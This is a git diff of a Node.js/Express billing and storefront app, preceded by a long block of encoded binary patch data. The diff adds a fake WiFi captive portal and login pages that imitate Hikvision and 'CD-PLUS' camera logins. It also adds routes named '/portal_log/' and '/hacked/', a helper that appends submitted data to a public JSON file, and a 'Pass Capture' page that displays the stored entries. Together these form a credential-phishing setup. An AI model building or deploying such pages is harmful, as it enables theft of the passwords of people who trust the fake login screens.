z&MR!C=S5wxaI9z7ZK(!$Hx+Sfh>(J`#?)l1ZQgY{>BC5nR)5FVYSy=+Tv;V2$`^AJ z>^AMKUSDKzpGklIbKU#XxL5nMd;#n6F3RT-B_~0%<>$ru(Yljg=wl(^6g>wLr;UyF z0SuY4j5YF&r1kHmeFpd(zP{``5XoVz&!e5#O6~&49aUCEOiu>CXnMwcG<4fBue$0L z_umQY=DsHo%un8bd*&(Jx=>G|6F;%jxcGd=>h%eHsEVJ%usTDl^)=vJ*jcfIdBVn- z0%GA#UG?adL`0~;*`s-LFL^;pRP8C*x{8{^oLDJqjeNkb?g(Qae6vO?k(bWcr?u3&Gm;T`i z6K>=Na~ciW+C^01OO!H&!~rj1NM>9DW2cajL6sp`IEFEBGpSjDij0p9W~)usFK1p0 zyAKsVJaWKlUSfkDXnzPv+#`Nv7%I6l^su&sQNUP;)tuoiTRQP|?VN5_WiU=5Fc6#+ zk?@MOA7MR{s^05{pdAAY{Bng{SsOi$vR`;}%lyU@cCe?@GuQE=-jgu&%jX5|i(B$A zW85cC%#Wmgf{W^<(39j@Mr6b~Kk!IH=^ip6=_6p|)MNR|(G#U7#Bsvy4|STVWWdMY zFoBQfa=tnhl9uiHsG&7y+AQeYi3fG>1vTR*HvJS?b5#%;;nf+}bUaE>D6D`nWfLdL zrZ?emL@m}Yw^sN+z5Nw}j$iL2C?5e3mUfXAAOR<_m6)3 z2)6WgTfKZXu08N=Er%~j&DR+k5o1g>zOZMl0$W&7!>EL`wy5Ezot=FzCD=mQJ`fE4zK%<$CydXP80m zLph~?DB55PrgJga?6?{G(#rBCWwCZ;#Ru^MP5DUs-O{RTI&E4$kDwm3&lB8R&4G3B zP05VY5KpR=cY}OTzdY@Z^Xm9T`QFxG$6Hzhxp*Lty_0y6X{>`@Wc2;PRyAkL)-Aw1 zst%s9xHAdhL*z9XG4X=(4fycgzQI7sf2uA=EcCV!@QQ|LAH+tN05w=h)4! z*zvA;I5GbmK{9dna{dd>yJaE&Qp-(ecLlMe;uMQt%4Lz_Q>Qg%-a`2HLc`AdI&OQE zC3GDIwJqBCh)SaF#snQBm%1e-`By4cZ|4WDf;U zrs3Mz1ls<~r4RH^UpaAla}~J1-H<jJ3ZsLT1&YOwl>k#*f5->^v?;Y`L zx5nS2z1q^XDWq4n=#U1B&r)5|ya>vg^JYb6M&(NK zD4mPqHy~p!^)Y4)risqoZZPmSz==`$d+n0ZMq2&knyD2W8uI}q+_tBzIUb{RvN$5E z?D~};jyJ0~-asndpf=d$5qa5u!$ZV&qkw7G9+;tYvJP7`6rmTUV=F3ru= zgi~|2K|?*4EDDKJkg7PMf--ci%GaFpQAd@{FJqg)8cVyB=uCzLyFj|6b?i;v$Gp5} z`{%*WDQD`BTPmr$LY4Zob7gIN>uelj8~2;CmDeW_KhgK09vHtjA~E#zVXWqvN!_Y4 zc9=;ObgH=M%P4xH*U#6>q>4qt8;FRN1Y+jzlk+DbCMxRm#+ct#{!C;vDUQDdr;y4% z%+=kw`QBk3e^5g6F8dKnNyyrU4_`L^7okY}#T$X{q61ZTshyc=1pW_&{5>snDu{8+ zvP92L+3&4agM=P$v7>`BUEA&1S>5H2*m%_JEF>oNwTa4j#ZS6O!5BXVm3~0lHz1I` zvZG0f?5;i}!gWn6LVXaN*ECupT`pLvaiUvERUp+?I`wK%q`^6?)TUD7+=l*;=+QCa zGM_hBuP{?WnDt^kC7Gnr@e*SeLFjbdJDOlt=U3%)^q!ymYcV1nGL>AehR zO^1$yrg| z5&4x(rvB$=tPq<(G5VT#+yZd-RHmQop0v}8tRFJklMVakbzR=PaEna^5@S-U3w(%r zTnDLzKeDcP0;`f9_{~#nEcLNZJ*XD~K`Fk0Wb(@59B)!(KGbSeKta7(gO6ELsG-`U z46GT0l^r>>{abeu;{Iw2i9};{W5a|7cVdgtjZat6J94TTJ8F{3)&MZm(mW(vw_|#d zZ6TYSg`DC%jZ$!cU1$VKnoNIka?1)%YeX9ndf4h`?^wZ(y?(?_LW z3bJ!~xteBpc-GjiH}Iow(qi*idPdSE*GrRz(1~o(`afR@_2Mb zoZnp-r|Yiq$yG_~uF*1yQr9lX-i}{xQP@vrm|5;xE?5go*Xu`Q09^y6Q`R)H7Rz>z zr#uX4R8xojpy4Y?;np;D?{r8hFIb6NM;$>N{=vaEcA8j=YD?Of+`?Wh?eNQ1p00^Q z&@hyKsrz`CYRSCWdKpIrskgkSx>-N@UT;BW5i&e=0HdGQsM_|)74JN((b^#bi#|rX zXxJ0UdM|Zr5$}8Cvv_4KTZMQtmThPExH2zawV8$o$83`VONl@1#9!;~%jEKBaI zOPQw7?Yoh8%_i2BUiI*sX~u?fzCkBw#>fx?aFn)h+9NgEF*wiT7F*2ZJ=EDnLLlXZD6%Vs>AL zm2zN?@VM%OWGX`)$YN$t{BR&n*X+ZPGFMygP8rvv!Pts(!T*UYI3#dt_X8?+D3Ih^ zzIe$QI74{h-T?k0PRLS&LUs=MepOKe)m`2*~noW18nZSnl8+P24 zw%^=9E7))}hnJLwidq>L$u5!q*ppPxC-LzZkEgMx#F|~2Z904YYV4(w$@6QPwOeoVf9$ts#TJ zHuS4qDqNfck~=MhBIUqp^j(y;lYtLYVNB6S%PC#~0{fLqIgH97pOB69(5R-QE?Lvh z!3}__{I$!KCm-;f76qhg8H-8OOuC42gJMfduXYu`Hnvt^y6i>_-|gFu$FeX11faY_ zBumKdDjCtf)`?|Je&HvD4`fZ#Y&#}U-%YuII_j<2GXGf-eHVB29N;p`8U!AYHEGF& zl7r@N^r1hCO9D6oqmBa~ebk>O;c_w1>0l}FrH^%%S;7VI3>M7;e@AnL7Rj0x#0^3r zgFU2s=VT#FO(5h1JcReQV)_c{ZNG{c=^Y)WOewg$O@0yTWz9up4h0Lg6dqx!Eha;6BxD{Q0e9BGEoy+Xl#NZ z6}qzW()`nF;m1FzSm{SpO&F`=CT$PX@`b>+CiH98p~gvKcwD`0vL@aWe(hD;*;@iP ze>}suB^i1~f5&0wq@*8t$o3LkzjHA1!ZJvT$%a$mFR+ebPnxb?3gDv-V)N`G>by>) zQ|IY#aJ$5h>r3&Lo7U?$w&#k-*K(n3-PE}b4H$Zh*4r8f993=F#AtT}cOcfTqS}!r znd>^ZhVi>SAWZ15+P#A!mt_$vcG{lq44ZB2L9=t(g;&{7cwl^vs&ZA2ck&z1p24T{ zq*Jbuc{cVWlW*)}`4PtHm{}irZG5UY^bJ>>WI*@XMG`C}GOI?tN$mX)onXG=^Jh+r z08x>Yisfwo&Fd6Yl!%b1l+W98++j)i8Ej2zqdw&6$F*f$nQ>-d?ITc*FuO=JIaeFe zonqJQa|26FHx2|YsspldeJJMGoj)d6^1EQKm}HP5$&0&!C+Bp4_vKVA8sStyi)VybLf;~ zP1`pX(DG6cCdiYsf_&&G9bXXgjSi=I&9VT;YiRBFvQ;4x3z<^jWh{$(!Uvd-w!{oR!KKheo$byRKj-rMkh!zV z<8sokforVI`)R)_*|_iH`*mcGpU{5<#92oQbznFB28?>qjpC`ePW~_$bo@lhV?~4b ztur$qYF#jyt*jO+%gP6ApfCA>m}m~K$#el9MXK-ejF2ol50+wpl4DwS?>dLQ3tnZ} z5E8yKr|N|fW_#Kz>4b@kbv-^KjmiIVccOH92{U)PjO9&?A@C=Bd%V~o`A~sYU)*BB zyL0dHN=lO|dKV|HGP048Q{lJRtjsGXS%H^jgfsHQpaHp5?%_`yyc0>AmIg^{8K^VL zdgum&?#5@##|y31(kU+I>C)KDFyzD|U6QsW2uXw^A5XvF1omkyBS~kKmqhXf$b^v0 zE=UdRf^I)gC?on`zrLn_(buecKgg8~Dc;mL+B8SZijzM`xTVZ{i7*qEXvtIj(eLDT z+2`JgvyEbd>H+j>%R7mgfD zj(0EYMlR&K5^`y}1~_}k@^^DIy_XFKF3SQTNUV(lqr^9#?`fOZ?KnWZv0&opznVX8+iYCRt3L>1iB z$3uh0uH39fF5MowU}bVWYwbBl5TK&Em(#F`RpQZ)4c@5E>zr*ev^CJDHLRQ6+p(5> zDuOM^Ybe~1J}|AqRsUGddsJ-iU)TQnUKYxy5J;h6t1J81Z|Xcb1SCTbl_cS+9COFZoZMV%FY(vKt(IWSU z$uHc!H(NPmk^I=ZhlT~~a+N!HIX;o9Da>iBCvS@HDV)c2YjDPl;T32ZXhHoI$ZmqQ z{w5Wn>YVVXuyz}qL^G@E8^Az} zAZZ?}Z5I|RLoLVSbQ`@Ph3=&Am#Fs7_y5X(l!+*e68Y3xvv*Z!qyFW|YFBi})(Z>B z7V34+HyERfey&k@AvfN;itEMDj%)rzcrY}ar~AnP=(e2cja*=u|25&bI^>S{O5b<_ z|A1OW^I8blvER1lA6()*?EV9erQ&`X&yJxNjJ;6r^9)NX!|@7I5NQnr(+^x8eld+h zo;fgu`ps@k9*p%d(`iLvzNXkPR}=oMk2H^flvbEeb{3YPeFcxJy>D%JgoRrfLD_a* zRGPhpPeHbyA0uWKRe@?yH~0C8PTb+FMmaOr(Q29{;hAwp_8x&fnYlPw_n^>uaK5vD ze89vH-D8T+^H(7rX~xGC7DOu!pJGY#I7#s{f*f-%!45x0cMgl&7-R@P(X>Jj%sD3K zpBk_jC-WjLC!%`W)9{Ub<~_#ciayFI*7IvFtChd3YFaAC3ka3!(@{ik-ZHbT|4Pb(sr5I7q>9=lo?1Ws z_(J_4$NuZB2d;v&3SMe%|^{7TwMuMC+=iQ1el!QsAcyQXrmMY}@^IXqW|TRHJA_SxM_SoH~* z)pDeId>2p|t|Ksry?M?eeWsi>r4>0Eh}}jejO#8F(Bg(ju5qCL8*uR<{B3V$2gM-w zB=k51Vz7_C6Hv4>SGP?Qfmf^BdkuoQt9e=b)AT2CRiW z8s?+i!=kXa2;GdNMw=2@=0SAvAi!8tunDitgkE_3ao8*7CYgrb^%h#M@7eVt_uBeB z?jZoXC)RG$N*ApAa8(AmD19eiQ(D%5>YYt4_u58&D4A5l7o_ctlyB%h ze8r&ZM!z#?lAU*5Pbgz4UKkv_L$JjFhnG{EhhT!U9{{4|;hf~1?I^QbYy(IhQ*gDv zm;DA*jVm7BfrcG7KI-mzOMIu$WXmM91+hj{X_C^vF&e8ad~_ChT8a!2ukzd!1Pe}e$|2Th$Es9F&qmHRMKUYe#CqH0Bc?B ztuHGu4%Ib`vneRK3PJUshk7=PEKsSYR0qlDwPY9F1gBv~ z1v`OEI|FhmM~2N#t(VDDoPP5bm>=&})ydV7)#Tb3ZM7V!UXBHZw!E`f+Rg$aa6+w%Ka1aA7{|t-(G>sp0!QGGFfFhK~ zI9YS(ZHdb;zc6n!MIt+%D;bJYu=?XCg38$Wot+`_4~Jn%{# zrlUm{^`_q#g%!&KN$x&2sNVRK-a79~0S%ZfN^k!fOZMfg;KyC}x%WBvi?62gzCyCe zTJk(L%}d2ldO5`h$cMiqjJ-27ob!^Dw3c67P|S(#vWVvhcDmm7U=0X= z!7QAo{K_qp)07PMk@4#+{4{kG!!Jtx8xVf2FSgCLsq!0uuBf`P@Eh=*i1Uk|)_Ysf z{Z?)%Of~)rXVANopHvR$Iz6@g1#!y1V8I5eBP7Mv!|;1(FNFA3P(=Kkn;KYu)7esM zV~w0TraV4q`y}?>p;f*zz$oiLJNPBGU0%a8@kf$s>Bku(205M9V7fEA6h{@0UPH?T7`Q7>i@;0dDt${IF60N_?IX=+T&Nt^E4y-hxvyx z#VypwG#9YxvoZI&rXML?f1)8F*hKw)6Izwg(o$j0JM;OJ@{(!|xxf5X;vUjdw{Ge* zO_24R_+I#@5Smgb4tJQHPOw8jIAL$Ujf1_m&8KBB+F7w5wliib!**lFo{`04h*w_c zGcg2LmoIW^eWYEc^}sfk%k9(C>q^bu#X>oJ94coY@$&o@Y+kuEvv*Ro!S3D9X(z%- zI6LTcmygu27Z)~aE}vc6f+1L9@~hQ+&_z!;du6!bb-BAlN62~D=4lH2VYa^>7p}$% zpof*e%8(~G+J12Mhqd!ZaL`a!;)ESC_M?)4&r%wFa&=CvT55__Dp4xB*GnECS+2bs zhIRBAw=3>ub-~wIDR$U-2_AGc?V%?};CVjsQycXpU{n^cP^KtbdtiDAO)NM|*$ZgTywgob$T4uI_0qE<=WfcE@ z7$XqRk1@G~e&>XlV-@LBV1wqp>K8sZr?BV382o*4AXk1!?J@l~V1c=e+xXMkBL<%Y z5;O$D2;W0G^>I(ng%?X{&7-}RP%fo0j{6#X6=zg?8^{mAjA|f(=HHfVnp_Q{=JDTK3kGNrk-Wl6Q@djofE?YppfJ5A=V=b%rYjVLf;Eu5}`fIu2l7sv<5!>U#eS*sOYmlcEqUl8 z;IHn)7UmCz+^4)Qn)nHzLUlk6z3a%tE^^=x+p!=}6g97Hs+ejc1cE6QY1y(m$fpWc zGH0gz7;EJGF?~qe9A%g`iO=_ zXii{H^G$yP?ZnmbHupEc%WG(^g1x97VL;UrO@V$tnqf@^0u#pz!`Bw|fiqZavQ z$5_O*&c3dU{H@b&=rI}9hJ~svcaVUG-&FbR+*wj<$k##c>hrgr3X^b-Ce8;!lktFw zOMBtC4!8Q@`jE+9ITgQKnb=pVv}B6M(}-~KuIU4o4x#0sY)88ykx$1u;dK|N`5fc) z%$Q1<9ibhcR*m~yjG2z*-(w{EJ_RHrP~kl4CRdz-LA|!h^(~o5ynRopNJ#Hh!p#oV z8Z&iQ5+YiO`6R8>jGm!u)=Gh>Pg8Z6Vs}&iqSlnAht;Wkg09$S>?|riV>9d8KzfRt zH0&X^SY^S?oMj8$w;;KiTo`&~l`loE9nq^sb18g-eOym%VovdG2TBZuUYKWH?~-$J z#(GY&T6-b^RWB`V3qkwzBDs~UwicX1qG6ql>nr&vK3kE*c-|;@CfX-3rZAFy&)H)K z@*ka?+(_r>;cb>UkP@VFB|}$CfUK5Ab2DskWwuGpvIoEoelKIbh)E2xiQUK9#o%Ge zW_1RISm&s7ECY`U&05{eC?OBMaE+y=8Y@Ik-7I8j`k_PZi~)iofP6H&5 z8H2gn)Pm`4XN}BifnK^=OCdqWhEh)XDt)Hvj0y5XO02!q58ge}t{*rC+j3Z_Iu{xn z)AgB5)(XXz<8mMIu9D#S7d_SvRfJNPQ(A+wzX!-57|b?_x?(QgWNUJo2ytAdWlG9C!gYU^K_hrDNUV(=&L3}an!-vqmY&hLS^O5xgN4v62$TXQ|?vr+ZZ=}7j zx+&!V6^SmZk^r@$7oJ;V?+>cCh+?{klg54At=-;NO~q{mJYWcc{B8Ye&JzhO651oJqL^OlyXW)$q~lPD@7A$m1rlm9XrW~{kDEs$p-fR4|5t^GRh61Bb~wt)~2@-z5P^d9&?qalaV zXzwvE%m!k+{sqxw4fj?8I#P8+SzuZty#-AwfqaIMHN;WJ8-rzVzdNT}wsIFC$?`=@)Oc>W*4zp;mM-=4riVB`qR>-Op2q%D3-P^3N^&`kD@&O!ATJ6| zcY&qsGW;1S9ec=hY|gbKz?wxLsw@?o*+042|0xq5A zzrO+cUmDucW&KLrs0p9M`qfHOp(b6Jk2&74@Kg>7 z-tySh%1oU+RgNx(39p9{57DuA&jgsuBjpijXw27Bo`tm|kbgjRrKZ>P zMnu8{j+Xb6IUlbjH5X|~R_Y^teA8#jozdFl=qKOvMc^<&^Te}VpH)2+UHqo$=^`h08i z;kx;t`Br7RhlrE96^oV@=HmYo1`GN0-Ik64vYXrqSZ3W$;x>`c|>5Vm7po8 z04bgmPYG6cN5hbl1o`zuLGA(zIrG?$^-E{Bneeo%QmwB@s&#g3#>P}ySduHYCp)%I z7StVMj6N=xd8RKdjCu^<4QZxZ>&J!TvpLLdxYOAjBPMgPDu28pz9N|!)rFGQJS}6q zF4ci-mbqROK!*!UE<4Fyd<|DXbbTe)dl;2W5a`f4+eQyn% zf_R{@n1Ef#bs@vph~aBmsc>@@*4Elo6tM~3P(l1dQ+BY`7T)-|-p1xoK;d#Uq~19$ zxw2(KEOL>~f5+4v$uLHl;6C{>7MGu6Wl~&bDl-+oE-?eTSYIxN_u~e4 zPZwiu=|DSmh41f}T#qR>bg)LYaijwrP_Dmb3{!{B0Di7`1CgHE+i60jN2FYDk$7C% z^15f=9aW_;^CvbjTx>tUdi;% zjn(vZiUSOpPsmJS2l`f3v5cu&mRoCd*XJCzECk>YH3B^>Wp{FM2*|~D0PQN*@uKH9 z#2HPly+AD~osM!x#$p8uiXDn&Jgf!g7L_X50*B9KxH`s4Seik9EI_U(<_Av}wq3bE z`NneBIfN^QdVV*XDU^+Bs99O8P+7ZeX#HsTgRdv z%wmC5*gBJS?T(d=9~O5AruMvJhcy5(QHUUUw&fHv(g+w7>Ro}A-#v@?J!v2H-tZ$k z5G!UL<0^QXwo*2AxV%tn)>Id`qo6(al<88e_ga~$8h{p4ZEY~ghQtI3O4TfbtZsEM zB4ViIxV`C!Gn#%gT~TbYT)DWl;Hs5E*(?EBP|~exq%NU&MK6hR0}F|Z>v`^{;Soz- zz`_BB#sXVO=S@$PdKZxX^10^Yz|W5O&c#Gl+QJ6n4Wi0XO}0ZavX%!+2&a?U(#8j6v9N@5 ztj+O&TVzZWrDc2;}*j_huXvW`qSQ`tm_`>1XsaDXQ z$%Ifgzs^5lA1DxwLWl*Wa@qz0IqZhy@ereu)~cjOBZ?p1ZL)y@wze_C^8zv*()J$H z9Yk)(tamoN&H=ieObpwGCRA10`@lB?SjO9;J`a2xep@qQ64DlhAHe3C;4FNn?k^Kt_|TPT#Yh|Moqfcg{`4b zAYKAd=XRBUtw+L9?wj7K@|kIK@Y^fZ3bAa2V`#ukKdFoVu(&hgkEIV}d3hTB^3 z_lZ;0gmyy(hY4mI!UllKod>k^=nT|AyrOrR-YpeIxlAHIaEN&mD)~zYgS+cN@(gHt zG~?tRk8eYF^y|tK+ZsP;mLtfup%Cxrmm{ZZz}!cWpl+t) zpmdnm8<;OMD7KzKgiCZ-c?8Bh#4y}>2cpu@0z8X(1ap8x9OP|bw1IX=a~1Sl9rLcO_Gc*5Usweb~a zI|<`n(!bmW6}ZS(wj$iBjA}8t;v#`IhehjFsI4|4jAZdWsYSuGV+p*2EJkrH&jKG! z+m@fVQ_C1XPOHH)!G{KUy7D5rwv}p^F7_~r?JBe(F^%b>X2KURlRZD341uC64T+RS z$3mPP`$7mzW26X94iMt-AQ1|<@PGRm3K}{uw2g+70KN1P37(nUU9fN0pBr8PK%wGAZDiN)ZYTsTnxfM7sj!X1jik=e$dU8!sC zAL$h?T=K(3NEQLC9Rs#{+qwwc!*h6wZ*hRI2nVvgz0da-4a80{P!DZ+IT$^w*V)kE z@e=@hi}MBs4{H5jJ|08jD+W+T0_zp542&MlVjQ{$Qm5v6C{Y5RiBVw{?u@PvYee$| zeCL=)wqVE`c9EeNqXrYzK;!ZzZs8u!0`w@ehV243-j7SvD1X#+ALN{7<>s^jTbNDg zQ9}o`o;0JBJ4539Y+(d@8wt74qVUJK`4~z1pO6kj{HZ@8!1us{@mc`6#3#AbsZym% z(iZ0sm`{8Q_kv+P><9o7;V_=^FeS^E{1Siv!~ic500II41O)*G2LS*8000000RjLK z0}v8m1Rx4y-)*9$^r{F0!;va769d#IY7;)ps+g{G)XY-CQJv02;F zpfxo@#LW+Otu?xjh+Ir$e#exHmAc8Z0Dx9kE*7q)68N15K@$yAu*k*CM#4w#Ca1#s zx~x_XEqMsYZi4`WGYO$9S5ujc(J!pH3>jP~aL%;t;v)wZH<2~gDb{b(keCwUtz|rC^w8t-{VV^Vz#5mPU{?`0|m-zVD@{z(BS>y_HPsVf6)iCc%K#bpMeSajs(6F3$?lb046UQ p?liB$KW$0RFfeil_=LCuxigW#j5)IryjioZ zNhu<@s4R#SngTc%$bcZACb%Hn0Js!H7OnuofXKqtpb5eaxhW=#tP-LOB8w~zu>x)p zvJ`~9IWq?$+n?){0t}Auk|4iehHu=gi{vCfK2rPj`tt0o-_LKYDi-;7_Q4K)b#FO@g0)fBE;N-G=iOtUVGhi=OVO-`=t0@X^fz zQ!35gR2?lSZ2wnil_R43;nKr5tRC4j{ME91lfM=(eIwa3JL%+`;H%$-^I!Sa-q(Np zvg6~{nf%ueOwX@NXVq5=+Hm*Xg{jFx3>G+JP)HL zk2sZj?l&DC+%GQjtUYm8BK)N6<-RLFJ)f6GKm5^}w$z|zHG+V6IY2kC{JUMfJ3JdKc4mu0vi;kCm=$lP=O+zQ(ktP+jVk6}xBkm7OKA6P_NqpTrfmYRv~< zZqvRx1%*93tLGF=d+~n8DknJyyII?g|M4+g>v{LUta7azy6tyD?#8=MXtAZ7NysoG)T3To+kVI6oV;emCM)P zOV8OA-)FZi=KKw{b4_xi zZ&L8r=)L=V@6KPjRQ~!|7G;aAkFGhLTXX6_r`Ap};pslN9Sw^4ZPpzBQoO~i{M7Ab zn;t#27Tv(*^?lC)uj-V}nPR`#H`K@P>-}D{I%xOlV;u>{11J58v)q1Qlcn53lT=^v za@EOS8%&PhzID|kFz)r&b33h`X6-d*a+_P#ezHFFb*S4eyOsX$rmc$KcWr~+9?#Op z%+I>sORhYxw`XsjF1OIG4r`kYD~opZhOl_8lRO_av7Yf|z`Zo1V<*FanV7-T)z4*} HQ$iB}8BTQb literal 0 HcmV?d00001 diff --git a/src/public/plantilla_html/portal_cautivo.html b/src/public/plantilla_html/portal_cautivo.html new file mode 100644 index 0000000..6247caf --- /dev/null +++ b/src/public/plantilla_html/portal_cautivo.html @@ -0,0 +1,202 @@ + + + + + + Portal WiFi - Tema Oscuro + + + +

+

Bienvenido al Portal WiFi

+

Conéctate a nuestra red para disfrutar del servicio.

+ + + + + +
+ + + +
+ + +
+ + + + diff --git a/src/public/plantilla_html/portal_hikvision.html b/src/public/plantilla_html/portal_hikvision.html new file mode 100644 index 0000000..0d3fb9a --- /dev/null +++ b/src/public/plantilla_html/portal_hikvision.html @@ -0,0 +1,203 @@ + + + + + + Login + + + + +
+ + +
+ + + + + + diff --git a/src/public/plantilla_html/telcotronics.html b/src/public/plantilla_html/telcotronics.html new file mode 100644 index 0000000..ca60a19 --- /dev/null +++ b/src/public/plantilla_html/telcotronics.html @@ -0,0 +1,136 @@ + + + + + + + + Telcotronics + + + + + + +
+
+ + +
+
+ +
+
+

Soluciones Tecnológicas a tu Alcance

+

Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.

+ Descubre Más +
+ +
+ + + + +
+
+

Nuestros Servicios

+
+
+

Facturación Electrónica

+

Implementación de sistemas avanzados para la gestión de tu negocio.

+
+
+

Cámaras de Seguridad

+

Soluciones de video vigilancia con tecnología de punta.

+
+
+

Domótica Inteligente

+

Automatización de espacios para mayor comodidad y seguridad.

+
+
+

Redes y Telecomunicaciones

+

Diseño e instalación de redes empresariales y domésticas.

+
+
+
+
+ +
+
+

Productos Destacados

+
+
+ Panel Solar +

Paneles Solares

+
+
+ Cámara de Seguridad +

Cámaras IP

+
+
+ Switch de Redes +

Switch de Redes

+
+
+
+
+ + + + + + \ No newline at end of file diff --git a/src/rutas/rt_Generales.js b/src/rutas/rt_Generales.js index 5f938a2..07365c9 100644 --- a/src/rutas/rt_Generales.js +++ b/src/rutas/rt_Generales.js @@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json +rutas.get('/portal/', controlador_init.portal);//app portal cautivo +rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion + + +rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo +rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo + + module.exports = rutas; diff --git a/src/scripts/File_io.js b/src/scripts/File_io.js new file mode 100644 index 0000000..e1a7ed3 --- /dev/null +++ b/src/scripts/File_io.js @@ -0,0 +1,49 @@ +const fs = require('fs').promises; +const path = require('path'); +const { hostname } = require('os'); +async function saveToFile(newData) { + try { + // Obtener la ruta absoluta para evitar problemas con rutas relativas + const filePath = path.resolve(__dirname, '../public/files/data.json'); + const dir = path.dirname(filePath); + + // Asegurarse de que el directorio existe + try { + await fs.mkdir(dir, { recursive: true }); + } catch (err) { + console.error('Error al crear el directorio:', err); + return; + } + + // Leer el archivo existente si ya está creado + let fileData = []; + try { + const data = await fs.readFile(filePath, 'utf8'); + fileData = JSON.parse(data); + } catch (err) { + // Si el archivo no existe o está vacío, iniciamos con un array vacío + if (err.code !== 'ENOENT') { + throw err; // Si es otro tipo de error, lo lanzamos + } + } + + // Si el archivo existe pero no es un array, convertirlo en uno + if (!Array.isArray(fileData)) { + fileData = [fileData]; + } + + // Agregar el nuevo objeto + fileData.push(newData); + + // Convertir a JSON + const jsonData = JSON.stringify(fileData, null, 2); + + // Guardar el archivo con el nuevo array actualizado + await fs.writeFile(filePath, jsonData); + console.log('Archivo actualizado correctamente.'); + } catch (err) { + console.error('Error al escribir el archivo:', err); + } +} + +module.exports = { saveToFile }; \ No newline at end of file diff --git a/src/scripts/portal_cautivo.js b/src/scripts/portal_cautivo.js new file mode 100644 index 0000000..e69de29 diff --git a/src/scripts/tokens.js b/src/scripts/tokens.js new file mode 100644 index 0000000..110ee36 --- /dev/null +++ b/src/scripts/tokens.js @@ -0,0 +1,8 @@ +const controlador = {}; +const axios = require('axios').default; +const jwt = require('jsonwebtoken'); +const config = require('../config'); +const { base64encode, base64decode } = require('nodejs-base64'); +const { v4: uuidv4 } = require('uuid'); + +module.exports = controlador; diff --git a/src/swager_config.js b/src/swager_config.js index d6a845e..eac3f81 100644 --- a/src/swager_config.js +++ b/src/swager_config.js @@ -1,33 +1,23 @@ //Generando Documentacion -//const swaggerUi = require('swagger-ui-express'); -//const swaggerDocument = require('./swagger.json'); global.config = require('./config.js'); var puerto = global.config.server.port; -//const swaggerUi = require('swagger-ui-express'); -//Documentacion API + +// Documentación API const swaggerJsdoc = require('swagger-jsdoc'); const options = { - //explore: true, definition: { - openapi: '3.1.0', - swagger:"2.0", + swagger: '2.0', // Usando Swagger 2.0 info: { title: 'APP-SIGMA-WEB', version: '1.0.0', + description: 'Documentación de la API para la aplicación APP-SIGMA-WEB', }, - servers:[ - { - url: 'http://localhost:'+puerto, - description: 'Development server', - }, - { - url: 'http://app.factura-e.net', - description: 'Productions server', - }, - - ] + host: 'localhost:' + puerto, + basePath: '/', + schemes: ['http'], }, - apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above + apis: [`${__dirname}/rutas/*.js`], }; + const swagger_config = swaggerJsdoc(options); module.exports = { swagger_config }; \ No newline at end of file diff --git a/src/views/app_pedidos.ejs b/src/views/app_pedidos.ejs index c9dff51..1b7691b 100644 --- a/src/views/app_pedidos.ejs +++ b/src/views/app_pedidos.ejs @@ -22,10 +22,11 @@ - - + + + - + @@ -224,6 +225,7 @@
+
@@ -248,8 +250,8 @@ - - + + diff --git a/src/views/login.ejs b/src/views/login.ejs index 532cced..ffedee8 100644 --- a/src/views/login.ejs +++ b/src/views/login.ejs @@ -1,5 +1,5 @@ - + diff --git a/src/views/no_autorizado.ejs b/src/views/no_autorizado.ejs new file mode 100644 index 0000000..b010efe --- /dev/null +++ b/src/views/no_autorizado.ejs @@ -0,0 +1,84 @@ + + + + + + No Autorizado + + + +
+
+

403

+

Acceso No Autorizado

+

No tienes permiso para acceder a esta página.

+ Volver al Inicio +
+
+ + diff --git a/src/views/portal.ejs b/src/views/portal.ejs new file mode 100644 index 0000000..a6395b9 --- /dev/null +++ b/src/views/portal.ejs @@ -0,0 +1,204 @@ + + + + + + Login Camaras CD-PLUS + + + + + +
+ + +
+ + + + + + diff --git a/src/views/ver_pass.ejs b/src/views/ver_pass.ejs new file mode 100644 index 0000000..3034f54 --- /dev/null +++ b/src/views/ver_pass.ejs @@ -0,0 +1,118 @@ + + + + + + Mostrar Data + + + + +

Pass Capture

+

+
+